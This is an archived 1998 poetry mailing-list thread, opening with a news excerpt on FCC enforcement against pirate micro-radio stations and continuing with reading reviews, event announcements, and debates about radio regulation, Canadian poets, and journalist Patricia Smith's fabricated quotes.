"There is no question that the regulations as they're being implemented by the FCC restrict the airwaves to the very rich," said Allen Hopper, a San Francisco attorney for one of the best-known pirate stations in the country, Radio-Free Berkeley. "You can't go on the air without being a millionaire, and that's where micro-radio comes in. "Hopper said that the pirate radio movement has "been gaining momentum for quite some time now." "There are literally hundreds of stations on the air that we know of," he said.

But as pirate radio has grown both in popularity and boldness, commercial broadcasters have complained that the new signals threaten to interfere with their signals and confuse their listeners. In response, the FCC has stepped up

its enforcement methods. Where Hopper and his colleagues with the National Lawyers Guild once heard of two or three stations being closed per month, it's now 10. FCC spokesman David Fiske said the agency does not keep score on how many pirate stations it closes, handling each microbroadcaster on a case-by-case basis. Seizing equipment, as has been done in Tampa, happens when warning letters are ignored."The FCC does make an effort to contact people and get voluntary compliance," he said. "That is the major enforcement effort." For radio pirates, trying to comply with FCC rules would inevitably lead to a catch-22.

Micro broadcasters typically don't broadcast at more than 100 watts. In Tampa, for instance, Kelly Benjamin's 89X, the Seminole Heights station shut down Nov. 19, broadcast at about 70 watts, meaning that the signal died about half-way across Tampa Bay. The catch is that the FCC won't license a station with a signal below 100 watts. With a finite number of frequncies available for use, Fiske said federal policy tries to balance "how do you serve an entire community and how many licenses can you pack in" the radio spectrum. Someone could apply to change the FCC's rules regarding micro broadcasting, but that is not something the FCC would do itself, and Fiske said "there is no such proceeding under way." At the same time the number of pirate radio stations is growing, the number of corporate owners of licensed radio stations is shrinking, as broadcasting conglomerates like Westinghouse buy more and more stations. One of the complaints against 102.1-FM came from WHPT, 102.5 FM, which is owned by the rapidly growing Clear Channel Communications.

"One of the primary arguments that we've made is that the FCC's regs have failed to keep up with these changes in technology," Hopper said. "If you look at those complaints, they're not complaints about the interference with the signal. They're complaints about, "Oh, our listeners are confused." WHPT general manager Drew Rashbaum said he would not discuss his station's complaint about 102.1-FM because he has been bombarded with harassing calls from "obnoxious listeners" to the renegade stations ever since the raids.

Still, it's no surprise that the strongest opposition to pirate radio comes from big broadcasters looking to increase their market share. "We're very supportive of what they're doing," said Dennis Wharton, a spokesman for the National Association of Broadcasters in Washington. "You can get these pirate stations up and running, and it can create a lot of havoc with the airwaves and existing stations." While the FCC's critics say the airwaves should be opened to low-power radio, they doubt that will happen because of the influence of the broadcasting lobby. "This is exactly in a democracy what we should be encouraging, and we've basically got the FCC acting as the police force for the fortune 500 companies," said Robert McChesney, a University of Wisconsin-Madison professor who has written several books about the corporate domination of broadcasting.

"In the short term I think the strategy should be this: We should ...have a thousand, 2,000, 10,000 of these stations," McChesney said. "Sheer numbers will force the development of the fair system. Radio in this country today is about one thing: It's about taking Americans, turning them upside down and shaking everything out of their pockets." But FCC officials say allowing everyone who wants to get on the air to broadcast at once would create chaos and couls even endanger lives. One of the chief arguments against unlicensed radio is its potential for interfering with the transmissions of police and fire departments. Fiske said the FCC doesn't keep statistics on such incidents, but in October the agency shut down two pirate stations near big airports in Miami and West Palm Beach.

The founder of Tampa's 102.1-FM said that concern doesn't apply to him. Doug Brewer, whose technical expertise has earned him grudging respect even from some people at licensed stations, said the FCC never has indicated to him that his signal was interfering with anyone else's. Brewer has applied for a broadcasting license but can't get one for the low wattage he puts out. Established broadcasters aren't eager to entertain changes that would give licenses to micro broadcasters. Asked whether the National Association of Broadcasters has a position on licensing micro broadcasters, Wharton focused on the existing controversy. "The issue is simply about operating without a license," he said. "That's the sole issue here. If you're not operating with a license, you should not be in business."

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765. **Safdie Joseph**
Re: Naropa Readings
Fri 19 Jun 1998

I know there's been some pretty heady competition for this award on the list in the past, but I hereby nominate Patrick Pritchett as electronic poetry reviewer par excellence!

(It would be fun to have an improvisational contest like the Heavyweight Poetry Championships down in Taos for reviewers - people would be given, say, ten minutes to compose a review of a certain book or reading - and then have to post it to the list!)

Well, I thought it was fun when I started writing that sentence . . .

From: Pritchett,Patrick @Silverplume
[SMTP:[redacted]]

Sent: Friday, June 19, 1998 12:14 PM
To: [redacted]
Subject: Re: Naropa Readings

Wednesday night I missed, alas, what one person described to me as an extraordinary performance of poetry and music by Anne Waldman and Claude Brown, revolving around various works and texts of John Cage.

On the bill for Thursday night's readings were Douglas Oliver, Eleni Sikelianos, Andrew Schelling and Olga Broumas.

And let me clear up something right at the outset here: Doug Oliver in no way meant to say that young writers of today have no anxieties to deal with. What he meant was that their anxieties are different from the ones which the previous generation had to cope with and that this in turn produces the emergence of different poetic forms. (Honestly, some people are so picky!) Let me clear up that last remark by stating emphatically and at once that Douglas Oliver is a real sweetie. (Whew!)

Oliver's reading began with a selection of crisp, delicate elegies from a work-in-progess called _Tenth Arrondissement_. He prefaced his reading by remarking that the street he lives on in this district was once the home to both Heinrich Heine, who lived at one end, and Paul Celan, who lived at the other, observing that this chance polar arrangement, far from constituting a mutual exclusivity, comprises a magnetic field of force - from limpid clarity to the densest logos - in which the full range of poetic possibility can form.

From "Forearms": (in part, a meditation on political violence) "one day
there's a youth's flayed arm but no youth."
From "A Little Night": (a lyrical turn on Celan) "hostility of moths around
the candles," "Our shadows lack performance ... they are a text created by
the dusty mirror." "the word I care about wakes ... Celan ... and performs
itself."
"Crystal Eagle" continued this theme - a terse, bittersweet homage to
Celan's life and death - "there's future silence in the non-forthcoming of
the Rue de Paradis."

"For Giselle Celan," a poem for Paul's widow, with whom Oliver shared many
meals before she died, and his closing piece, "Well of Sorrows in Purple
Tincture," (a sort of elegy for family) exemplified his poetic virtues in
the elegaic form, as I read them -- an elegant, finely felt diaristic
narrative that's light on its feet but covers a large amount of conceptual
territory with ease. But above all these poems are distinguished by the
conspicuous clarity of their compassion.
"See my father falling on the fairway of life. The whack gone out of the
game, the blood gone out of the brain."

***

Eleni Sikelianos read next, beginning with poems from "To Speak While
Dreaming." "These hand like crickets ... hold out for the slender boat ... I
do trust numbers enough to write their signs" - from a sonnet written while
Allen Ginsberg read early English poetry and the work of Smart.

Followed by work from the more recent "Book of Tendons." From "Gold Trout" -
"laying on top of heat's papers in a dress ... marigold, I wish the ground
were hot or not ... stars mar no man light as a feather therefore his
shoulders gather up light ... touched the bone button, brought the row house
down." "May was a cavernous month, a thing sweeter than a yam."

Then a poem entitled, after Montaigne, "Of Cannibals, Of Thumbs," which
Eleni described as "essays that never got anywhere." "When I think of sex
some people think of seals barking but I think of shrimp in bleach."

And in closing, a long portion of a work-in-progress tenatively titled, "The
Booklet of My Dream of Living in California." Which figures partly as a
place of fable, and offers such delightful lines as these, "in which
Alexander the Great invented the caterpillar personally." "My dream of
seeing Michael Douglas in an elevator. Not that satisfying." "Like El Nino
doing a brodie in the air."

A languid, serpentine history of California as Eden and desert. The growth
of the pain of the nomad self in its intersections with geography -
geography as both personal and public history. Marked, like all her
distinctive, inventive work, by percussive turns and slippery cadences, the
sense of floating enigma, now enlarged, now contracted, where language is
the play and element of riverine wit and seduction.

***

Andrew Schelling began his reading with a poem dedicated to Allen Ginsberg.

It ranged widely: from the London house where Blake wrote "Jerusalem" and
"Milton," (and where the custodians were replacing the forge with the hard
drive) to the Rocky Mountains. From Blake's immortal tyger - the first
lines of which Schelling translated into Sanskirt - a startling effect,
making it even more tygerish! - to the American cougar. "Frame old
symmetries [with] new poems."

This was followed by a series of haibuns-in-progress. From Black Earth:
"sweet taste of dharma not for humans alone." From Western Tanager: "If
mountains and rivers are the continent's Sanskrit, then birdsong is local
vernacular ... Your bards are wearing wingbands of gold." A haibun in which
the poet dreams he meets Don Allen, dying in a mosque. "And then I realize
the mosque is also his project, empty but for the black calligraphy." Raven
Haibun (for Jane & Anselm Hollo): "Raven says - there is going to be another
Judgment Day." And from other haibuns: "A peak called Quandary. A bar called
Rocky Flats." "Do not despise this forearm - it was Zebulon Pike's - a
grubby note attached says it tastes salty." "You ask how the gods toy with
we mortals? Go get a field guide to the tundra."

Andrew closed with translations from Classical Indian poetry, the earliest
dated circa 1000 BCE.
"Last night, what ecstasy - today she tosses her head and won't look at me."
"He steps into the moonlight and just for a moment it's like he's vanished
into another country."
"We make love in the common position - he calls it sedate. We

try something
new and he asks where I've learned it."
"My wound begins to itch madly for love."

I think Schelling's work answers admirably to Charles Alexander's query to
the List of some weeks ago about where have all the nature poets gone? Along
with Jack Collom and Merrill Gilfillan, he belongs to a small company of
poets who are actively engaged with the rhythms and pulses of the natural
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Brief and deceptively simple, they convey an entire world of complex human
interactions, foregrounding the bitter and the sweet, what might be called
the eros of the quotidian, the ancient bedrock of poetry - where our endless
anxieties are allayed by the perpetual turn to, the renewal of, form.

***

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Jazz," (I think) - "almost ultraviolet with so much witness - the garbage
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worker: "Always an angel rises from the figure ... I bow to riddle of the
ear ... helpless with harmonics." A poem called simply - "Instructions."
"One must be sitting in one's chair before smoking opium so that

one will
not have to walk to it later." And from another poem - "the sun is full
today - swallow it all - merci." "For Bobbie Louise Hawkins (who mentioned
acid)" - "To relax all force and watch the free fall of what happens, the
fruit of it ... the string breaks, all is desire."

And finally, "Lumens." "To build a chair, to build a chair, to build a
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Olga is the only poet I've seen on the Naropa stage to take a full bow. She
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chthonic. Hearing her read, you want to be Greek and sing - lilt, jangle,
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body.

Patrick Pritchett

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766. **Mark Prejsnar**
Re: Naropa Readings
Fri 19 Jun 1998

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...Indeed, a Steve Carll for our time!

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767. **joel lewis**
f.y.i.
Fri 19 Jun 1998

---

* Remembering Diana: Abdel Rahaman opened a delicatessen named the Diana-Dodi Corp. in New York City in March (without the approval of either family). The makers of Flora margarine did get approval of the family for special tubs of Thanks / Diana margarine, which went on sale in Britain in March. Also in March, British publisher Anchor Books released an anthology, Poems for a Princess, all by people generously described as "amateur poets," selling for about $30 in paperback. (The Observer newspaper's review called it "possibly the worst book of poetry ever published.)

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768. **Christopher W. Alexander**
Re: FCC Shutdown of Radio Microbroadcaster [need for mor
Fri 19 Jun 1998

Bob - okay, first of all, AGAIN, the issue isn't whether I think the feds should regulate radio - though in that arena my modest proposal is that $100, 000 + in initial licensing fees makes it pretty clear who's being protected here, and it ain't us.

second of all - I have no idea what yre talking about and suspect (hope, wish) there's a bit of the old tongue-in-cheek going on when you suggest that the real threat posed by pirate radio is - what? electronic mind control? I wonder (but not too much) what it is you think we get from the mainstream stations, then? Incidentally, radio in your (highly questionable) examples, the USSR and Nazi Germany, was state-controlled; other voices would have been quelled as much as possible.

and third - I'm amenable to toddbaron's gentle hint - arguing with you about federal regulation of broadcast media doesn't have much to do with poetry/poetics; the less polite version is, why make this a drag for everyone and not just me?

I'll leave it, Gancie-style, with two quotations; our faithful listeners out there can decide whether there's any feedback between the words "commercial" and "public" :

"But as pirate radio has grown both in popularity and boldness, commercial broadcasters have complained that the new signals threaten to interfere with their signals and confuse their listeners. In response, the FCC has stepped up its enforcement methods. "

St.Petersburg Times, Nov 28, 1997
(and thanks for sending that, William)

"Welcome to the FCC. The mission of this independent government agency is to encourage competition in all communications markets and to protect the public interest."

Federal Communications Commission www site

over and out, chris

..

Christopher W. Alexander etc. / nominative press collective

email: [redacted] / [redacted] snail-mail: P.O. Box 522402 / Salt Lake City UT 84152-2402 press/zine site: http://choengmon.lib.utah.edu/~calexand/nonce/ **site temporarily unavailable**

↑ Index

769. **Mark Weiss**
Re: f.y.i.
Fri 19 Jun 1998

The association of margarine with sex pre-dates "Last Tango in Paris" (ok, that was butter) by quite a few years. Is Land O' Lakes Butter (also margarine) aware that by folding and cutting their Indian Maiden logo has been made bare-breasted by at least three generations of little boys? Given these associations it seems strange to commemorate the late princess with what will surely in the vernacular be called "Diana Spread." Sounds like a tabloid. Can she never be free?

At 05:23 PM 6/19/98 -0400, you wrote:
>* Remembering Diana: Abdel Rahaman opened a delicatessen
>named the Diana-Dodi Corp. in New York City in March (without
>the approval of either family). The makers of Flora margarine did
>get approval of the family for special tubs of Thanks / Diana
>margarine, which went on sale in Britain in March. Also in March,
>British publisher Anchor Books released an anthology, Poems for a
>Princess, all by people generously described as "amateur poets,"
>selling for about $30 in paperback. (The Observer newspaper's
>review called it "possibly the worst book of poetry ever published.)
>
>

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770. toddbaron
far and few
Fri 19 Jun 1998

At the risk of sounding like a self-serving participant of this list:

Could the few and far between who continue to send "private" messages--or messages directed at only one person--simply e-mail that person direct... I have come across at least 8 messages in five hours that have nothing really to do with a discussion of or engagement with poetics. WHile I applaud the use of this list to engage a larger community--the smaller one sometimes gets my goat.

Hope I offend no-one. (double-neg...)

Todd Baron
--
remap

--

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771. Stephen Cope
BTP Readings
Fri 19 Jun 1998

Hi all,

For those in or visiting the area, they'll see you there (I'll be out of town)....

Stephen

BEYOND THE PAGE PRESENTS:

FOR IMMEDIATE RELEASE:

What: Beyond the Page continues its series of monthly performance and arts
events with BILL MARSH and KATY LEDERER reading from their works.
Where: Faultline Theatre, 3152 5th Avenue (at Spruce in Hillcrest), San Diego.
When: Sunday, June 28. 4:00 PM.
Contact: Stephen Cope at [redacted] or Joe Ross at [redacted].
E-mail at
[redacted], or [redacted].

* * * * * * * * *

BILL MARSH teaches creative writing and literature at National University in San Diego, where he is also Assistant Director of the Center for the Study of New Media and Performance. He currently edits the PaperBrainPress

chapbook series featuring new and emerging poets. His writings have appeared recently in *Tinfish*, *Chain*, and *Witz*, and his visual poem "transversez" is forthcoming from Runaway Spoon Press.

KATY LEDERER is currently in the process of moving to San Francisco from Iowa, where she just completed a degree at the University of Iowa Writer's Workshop. She is the editor of EXPLOSIVE MAGAZINE, and her poems and reviews have appeared or are forthcoming in *The Chicago Review*, *SHARK*, *Gare du Nord*, *Superflux*, *The Harvard Review*, *Arshile*, *Kenning*, *The St Mark's Poetry Project Newsletter*, *Mike & Dale's Younger Poets*, *The Germ*, *the minnesota review*, *Proliferation*, and *Prosodia*. She has a chapbook entitled *Faith* just out from Idiom Press in San Francisco, and she is in the porcess of writing a book for Atelos Press, tentaively titled *Music, No Staves*.

* * * * * * * * *

BEYOND THE PAGE is proud to continue its monthly series of arts-related events with this reading. Beyond the Page is an independent arts group dedicated to the promotion of experimental and explorative work in contemporary arts. For more information, call: [redacted], [redacted]; e-mail: [redacted], [redacted].

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772. Henry Gould
saturday night reading
Fri 19 Jun 1998

Things were bopping tonight in Providence. I'm all out of breath running back to my "terminal" (get it?) to report on an excruciatingly evanescent and expressionotional (that's a kind of decaf) Reading that "happened" just moments (hours, I mean) ago down at Revlip's Bar in Fox Point.

Here are a few exquisite lines from Ranwald Flepastische's fantastic (all 6 syllables) performance:

summer basks in a tense Celan would have flipped

sex is a kind of shrimp pasta if you shell out the pink underbelly

remember it was when the envelope was short 3 stamps

so let it percolate, I will still wear the forbidden clogs

Jeez, Louise!

Unfortunately I missed the debonair Jacques Eschchewvielle's take on spirituality in a cab since I took the wrong trolley waiting for that extended veggie-meatloaf... oy !!

- Badass Henry the provincial Pug

[ey, Jordo, goombah - how'm I doin? Say, how about them Mets? Lissen, you get me that reading an we'll talk. They gotta know by now, right? best offer they gonna get, capische? what do I have t'do here? Vincento made the point, right? I mean how much we gotta convince these - where they comin from anyways, Buffalo or what??]

↑ Index

773. **Susan Schultz**
Re: trippingly
Fri 19 Jun 1998

Dear all--

If anyone wishes to contact me between next Tuesday, June 23 and Thursday, July 30, I'll be at [redacted] and not "here." (I'll be on my mainland moneyhoon with Bryant, who blushes to be immortalized by Bill Luoma in Bill's wonderful new book.) I'll be giving two readings while "there": one at the Zinc Bar in NYC on June 28 at 6:30, with Douglas Rothschild and another at Canessa Park in San Francisco on Sunday July 26. Would be delighted to meet list folk in those two cities, and to catch up with DC folks between July 3 and 8. Will also be in St. Louis July 9-11 to catch my Cards (McGwire, yes, but also Lankford and Jordan and DeShields and, above all, Willie McGee) and in other places too. I'm tired already. In the meantime, folks, have a wonderful list.

Susan in Hawai`i

Susan M. Schultz
Dept. of English
1733 Donaghho Road
University of Hawai'i-Manoa
Honolulu, HI 96822

http://writing.upenn.edu/epc/authors/schultz
http://writing.upenn.edu/epc/ezines/tinfish

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774. **toddbaron**
reading in Los Angeles
Sat 20 Jun 1998

For those around:

June 26th--7:30 pm

Noah De Lissovoy
Diane Ward

@ Beyond Baroque
681 venice blvd
venice, ca

NdL: work has appeared recently in Apex of the M, Talisman, Ribot, ReMap, and others. Spark (Talisman) is forthcoming. Noah co-curated the Writing the Margins series at the Otis Art Institute last year.

DW: Relation (roof), Imaginary Movie (Poets and Poets) and a slew of others. She co-edits Primary Writing.

For those interested:
LA is a dry place (often) with
pumped in water.
Please come to this event
if you're in town.

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775. **Jim Andrews**
MacEwen and bissett
Sat 20 Jun 1998

Someone, who was it?, wrote here recently that the avant garde means nothing to anybody and that, these days, it is merely 'academia lite.'

To equate the avant garde with an unlearned academy seems to me to assume that the edge of experimental, powerful writing is occuring solely in the academy. It also assumes that writing outside of the academy isn't as acute as within. Both assumptions are diseased.

> *The original reason I posted this quote was because Morpheal criticized Gwen MacEwen for "unoriginality of philosophy",*

You love to hate Morpheal. Get your facts straight. He said nothing such. Learn to read him correctly. He challenges you, you can't slot him accurately, and so you end up making erroneous attributions.

Douglas Barbour listed MacEwen's books and posted one of her poems, noting that the poem:

> *kinda shows her strengths & weaknesses both.*

Yes, but that poem shows more of her weaknesses than her strengths, surely. I read such stuff and passed over it. Quote any poet's less than interesting poems and you'll portray them poorly. Would you be so kind to post one of her best. I don't have her books here in Seattle, but how about the one from The Fire Eaters that ends with the two lines I quoted. Or a better one, if you know her work well Douglas, as you probably do.

I remember reading Phyllis Webb's ambivalent elegy in the Malahat Review or something such and being disappointed in Phyllis who must know that the poems that are less than brilliant are many. Is it relevant that Phyllis is gay whereas MacEwen espoused a mystical het that Phyllis must find very annoying and undoubtedly muddled and deluded? But MacEwen's mystical het was not the focus of her best poetry.

It saddens me that bill bissett is treated with even more disdain than Phyllis Webb summoned for Gwendolyn MacEwen. Stephen Scobie has been using the same line about bill bissett for years: "He's doing the same old thing." Probably Stephen has not read a line of bissett's in twenty years. I love bissett's work, read every book he writes, and find that his books are extrordinary and getting better and better, an amazing writer. But bissett, like MacEwen--as Morpheal pointed out--is in the Canadian 'peoples' poet' category, like Al Purdy (sage by now), and so is disdained unjustly by the academics who just don't get it in the same way that Ginsberg and the Beats were disdained down here. This is not to equate bissett's and MacEwen's work with the Beats, but the phenomenon is similar, the lines of conflict. It seems rather a pointless conflict in Canada; bissett and MacEwen is/was widely receptive to all good things, to all projects of energy. bill's work is phenomenal, and so is he himself. He should be recognized, as bp Nichol recognized him, as "Canada's best political poet" (bp said that in my Honda) and as a really progressive force in the avant garde. He is more akin to Ashbery than Ginsberg in the way his poems turn on a dime from one mode of writing to another.

--
V I S P O ~ L A N G U (I M) A G E
http://www.islandnet.com/~jandrews/mocambo/jimvispo.htm

↑ Index

776. **trbell**

Re: Money /art/poetry makes nothing [that is not there and the nothing that is] happy

Sat 20 Jun 1998

When I read Russian poetry (35 years ago) I remember being most struck by the poet's status in society compared to English-speaking societies - somewhat

similiar to the differing status at that time of a soccer hero in Europe vs. America.

At 08:27 AM 6/18/98 +0800, you wrote:
>As someone about to begin a year of intensive Russian study, I am following
>Henry & Jordan's slanging match on the Rooshians with great interest. I am
>hoping that Henry is right and there is lots there, though I'll be satisfied
>with Pushkin and Mayakovsky if there is nothing much else.
>
>Jordan I think is right that Requiem and its ilk gain much from the penumbra
>of story around them, and also that certain Soviet writers gain cachet among
>those who don't read poetry anyway because they wrote "against" the Soviet
>state. That doesn't make them not good, it just means you have to
>distinguish between their supporters and them.
>
>In Brodsky's essay on Mandelstam (which I copyedited when it was the
>introduction to Bernard Meares rhyming translations of Mandelstam, published
>by Persea, thousands of years ago) Brodsky makes it clear that what happened
>to Mandelstam would have happened to him in any society (look at Hart Crane,
>though B doesn't make that comparison). "When he ran out of space, he hit
>time." is the operative line.
>
>Anyway them Rooshians did a good job of art as religon, we godless
>capitalists always like that.
>
>

The other thing that really hit me at that time - young and naive as I was - was the impact their style had on me coming as I did to them from a rather stuffy and strait-laced midwest schooling. Now that I think about it, it still does impact my work.

Charles and Mark - I also know a lot of struggling artists. I can remember when the first starving artist sales were really that rather than what they have become. I have not come across and "starving poets" sales - it might work?

tom bell

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777. Anthony Lawrence
Best O the Best
Sat 20 Jun 1998

> *Anthony, this is all news to me, so I feel underinformed . . .can you fill in the blanks? Simic and Tate expressed their opinions of an anthology edited by Harold Bloom? Is that what you're saying? If correct, please say where these opinions may be read. Could you backtrack over this terrain & fill in some fractals? Thanks a lot. David*

David,

I was referring to the new (1998) Best American Poetry anthology (Scribner Poetry - David Lehman, series editor) called "Best of the Best". Bloom was asked to edit a best-of from the 10 anthologies that make up the series, thus far. (He's chosen 75 poems from 750.) My comments were focussed on Bloom's intro to this Greatest Hits. I mentioned Simic and Tate because I like their selections - Simic in 1992 & Tate in 1997 - not because they've commented on Bloom's selection.

Best,

Anthony

.....
Anthony Lawrence
PO Box 75
Sandy Bay
Tasmania 7006

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778. rsillima
More on Art & $$
Sat 20 Jun 1998

One of the local weekly papers here has a thoughtful (for a local weekly) 5,000 word piece in the current edition on the history of the Pew Fellowships and their impact both on the individuals and the arts community of Philadelphia.

http://www.citypaper.net/articles/061898/cover.shtml

Ron Silliman

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779. r. drake
Re: Postmodern Piracy Festival /Call for Participants (fwd)
Sat 20 Jun 1998

in another development in the appropriation/fabrication of identity threadz, poet Patricia Smith (multiple winner of the Nation Poetry Slam, and recent Pulitzer finalist) has resigned from the Boston Globe after it was discoverd that she'd created some of her sources...

http://www.boston.com/dailyglobe/globehtml/170/
Admitting_fabrications__Globe_col um.htm

&& only to observe, how intrinsicly all these instances seem (to me) to be relevent to th recent thread on $$ and poetry...

luigi

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780. Brent Long
Re: Postmodern Piracy Festival /Call for Participants (fwd)
Sat 20 Jun 1998

First of all, Patricia Smith's actions had NOTHING whatsoever to do with $$ Luigi... Secondly, unless you have more information that that which you receive from your television blurb on the late news, SHUT THE HELL UP.

Thirdly, the articles for which she received her nominations for the numerous awards (including the Pulitzer) were not ones in which there were fabrications.

Brent

At 12:22 PM 6/20/98 -0400, you wrote:
>in another development in the appropriation/fabrication of identity
>threadz, poet Patricia Smith (multiple winner of the Nation Poetry Slam,
>and recent Pulitzer finalist) has resigned from the Boston Globe after
>it was discoverd that she'd created some of her sources...
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>&& only to observe, how intrinsicly all these instances seem (to me) to
>be relevent to th recent thread on $$ and poetry...
>
>luigi

>
>
[redacted]

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781. **charles alexander**
Re: Postmodern Piracy Festival /Call for Participants (fwd)
Sat 20 Jun 1998

At 12:50 PM 6/20/98 -0400, you wrote:
>First of all, Patricia Smith's actions had NOTHING whatsoever to do with
>$$ Luigi... Secondly, unless you have more information that that which you
>receive from your television blurb on the late news, SHUT THE HELL UP.

I'm not Luigi, and my information is mostly from a story on national public radio, somewhat more (but admittedly not a lot more) than a television blurb, with various comments from Smith's colleagues included in the radio story, too. Seems that she invented sources and put words in their mouth, to make some points. Particularly noted in the story I heard was a source invented, and saying, about the mother of children who recently were found after a multi-year kidnapping and life with their father, that, if they had been this (imaginary) source's children, she would have turned heaven over in order to find them. So, perhaps invented to help sway public opinion against a mother perceived by Smith as not appropriately mothering? Hard to say, when learned out of context. Still, seems like reprehensible behavior by a columnist and definitely grounds for losing such a job, whether or not it had anything to do with Pulitzer-winning articles. But it's also true that the explanations from the paper about betrayal of the ethics of journalism don't ring so clean in a time when it seems like journalistic ethics aren't, and probably never were, what some pundits would hold them up to be.

In a commercial newspaper, though, it's hard for me to imagine that these matters have "NOTHING whatsoever" to do with money. I don't think Luigi's comments were necessarily that Smith's actions had anything to do with her own specific relations to money. As to what Luigi's sources were, he said nothing about late news on television, so your censure of his comments seem both ill-advised and mean-spirited.

charles

> *Thirdly, the articles for which she received her nominations for the numerous awards (including the Pulitzer) were not ones in which there were fabrications.*

chax press : alexander writing/design/publishing
[redacted]
http://alexwritdespub.com/chax

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782. **Simon DeDeo**
Re: MacEwen and bissett
Sat 20 Jun 1998

> *The original reason I posted this quote was because Morpheal criticized Gwen MacEwen for "unoriginality of philosophy",*
>
> *You love to hate Morpheal. Get your facts straight. He said nothing such. Lear> n to read him correctly. He challenges you, you can't slot him accurately, and> so you end up making erroneous attributions.*

I've sent out a total of three e-mails to the list since I've been on it, so I don't think that's much of a pattern. I happen to disagree with Morpheal on this point (if I do understand his point, although, as you note, one way to avoid being contradicted is to tell your opponent that they can't understand you.) Here's what I was responding to:

> *MacEwen was a follower of those same fashions. She was not original. Her poetry was often talented and original, but her philosoph and style of life and thought were far from original.*

The attention paid to a poet's "philosoph" or "lifestyle" is an inherently trivializing, assuming you're understanding the person in her capacity as a poet. When people do forget this, you get inane things like that New Yorker profile of Jorie Graham a while back, or the innumerable "amateur poets" who crowd the cafe's with not much more than an interesting face or titilating background.

Perhaps I took the thread in a slightly different direction than it appeared to be going; that simply seemed to me to be par for the course.

-- Simon

http://www.fas.harvard.edu/~sdedeo/localpapers.html
[redacted]

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783. **Mark Weiss**

Re: Postmodern Piracy Festival /Call for Participants (fwd)

Sat 20 Jun 1998

I didn't follow this controversy, didn't see the news report. For what it's worth, here's La Smith's rather bathetic apologia courtesy of the Boston Globe, followed by a few comments of mine.

A note of apology

By Patricia Smith, Globe Staff, 06/19/98

My father used to read me newspaper stories at bedtime.

Yeah, I thought it was weird, too. But I was so enamored of him, so much
the dictionary definition of a daddy's girl, that I obediently snuggled up 'neath the covers while he cracked open the city section of the Chicago Daily
News and enthusiastically related tales of robbery, murder, natural disasters,
and political malfeasance. The terse blocked type below the headlines
became living, breathing stories. ''Where do you think this woman was going
when she got robbed?'' my father would ask. ''What was in her bag? Who
was waiting at home for her? Do you think the robber feels guilty now?'' and
the stories would stretch infinitely in either direction, without clear beginnings or endings.

My daddy gave the newspaper a pulse. He taught me to love its changing
canvas, its omnipotent eye, its infinite throat. And since one long-ago tabloid
featured his obituary, it is much too late to apologize to him for
compromising that love.

But it's not too late to apologize to you.

From time to time in my metro column, to create the desired impact or slam
home a salient point, I attributed quotes to people who didn't exist. I could
give them names, even occupations, but I couldn't give

them what they
needed most - a heartbeat. As anyone who's ever touched a newspaper
knows, that's one of the cardinal sins of journalism: Thou shall not fabricate.
No exceptions. No excuses.

And yet there are always excuses. Usually they point to the cursed fallibility
of human beings, our tendency to spit in the face of common sense, zigging
when the world says zag. Sometimes excuses reveal real or imagined
inadequacies, or the belief that the world, if it is to be conquered, must be
conquered singlehandedly.

I've already heard from dozens of people in search of an official sound-bite,
a hook upon which to hang the newly fallen wordsmith. The reason.

It may ring hollow - after the fact, excuses always do - but I always believed
that I needed to do it all. Instead of popping out of J-school in a nice, neat,
byline-ready package, I was fueled by a heady mixture of naivete, ambition,
and an almost insane love for the powers of language. To make up for the
fact that I didn't get that ''correct'' start in journalism, I set out to be 10 times as good by doing 10 times as much. Write columns. Author books. Write
and perform poetry. Make films. Pen and star in plays. Gig at Scullers with a
jazz band. And as accolades poured in, I strained to accomplish more.

But I didn't establish priorities, and the first casualty was time. In Boston, my face was my column. I wanted the pieces to jolt, to be talked about, to leave the reader indelibly impressed. And sometimes, as a result of trying to do too much at once and cutting corners, they didn't. So I tweaked them to
make sure they did. It didn't happen often, but it did

happen. And if it had
only happened once, that was one time too many.

I will survive this knowing that the heart of my columns was honest and
heartfelt. None of the pieces considered for the American Society of
Newspaper Editors award or this year's Pulitzer Prize were doctored in any
way. I will write as long as I breathe, despite the dire predictions that this
indiscretion spells the end of my career. In the course of living this flawed
life, I've stepped into the lives of remarkable people. They will always live in me.

But none of that changes what happened.

So to the welders, the B-boys, the preachers, and the surgeons, to the
grocery clerks and bartenders and single mothers, to the politicians, PR
flacks, spokespersons and secretaries, to my dear husband and family and
friends, I am sorry for betraying your trust. To the editors who supported
and encouraged me, as well as those who jumped ship when the mighty
USS Smith began to take on water, thanks for the lessons. To those
colleagues and readers who salivated daily at the thought of my head on a
platter, congrats. And to the hundreds of real people who honored me with
their time and stories, you are my salvation and I will hold you tight during
this trial.

To every single reader, young and old, black and white, who opened their
papers on Monday and Friday and trusted me to be truth, know this: You
were the truth all along.

Finally, I'd like to apologize to the memory of my father, Otis Douglas Smith.

He burns in my soul through this, and beyond this.

And that's his real name. You can check it.

I recently finished editing the posthumous papers of an important cultural anthropologist. She left her field notes and the nearly ready for publication (and explicitly so intended) narratives based on those notes. I discovered that she had been in the habit of changing the testimony of her informants to make them express what she took to be a normative version of their culture. This, of course, perpetuates the lie that there is a normative version, but it also would ask us as readers to assume, had she told us her practice, and as she apparently did, that the anthropologist knows their culture so well that she can school her informants' words to reveal that culture to us. She can say for them what her informants should have said. It happens in this case that the anthropologist had only a superficial and sentimental knowledge of the culture in question, but that's almost beside the point. Transparency is, of course, finally impossible. Whatever is seen has been selected from a far larger pool of data. But there are degrees of opacity. At the very least the evidence that has been gathered and the circumstance of its gathering can be left intact, so that others can challenge whatever spin is given. What's recorded tends to become canonical. Her informants' stories once published her informants are likely to tailor future tellings to the official version. And a culture, including the one we inhabit, and our sense of it, is built of such tellings. That's why it's important to use humility as a tool for getting it right. It's why deconstruction, in tactful hands, can be so useful.

At 12:50 PM 6/20/98 -0400, you wrote:
>First of all, Patricia Smith's actions had NOTHING whatsoever to do with
>$$ Luigi... Secondly, unless you have more information that that which you
>receive from your television blurb on the late news, SHUT THE HELL UP.
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>Thirdly, the articles for which she received her nominations for the
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>
>
>Brent
>
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>At 12:22 PM 6/20/98 -0400, you wrote:
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>>threadz, poet Patricia Smith (multiple winner of the Nation Poetry Slam,

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>>be relevent to th recent thread on $$ and poetry...
>>
>>luigi
>>
>>
>[redacted]
>
>

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784. **trbell**

Re: Postmodern Piracy Festival /Call for Participants (fwd)

Sat 20 Jun 1998

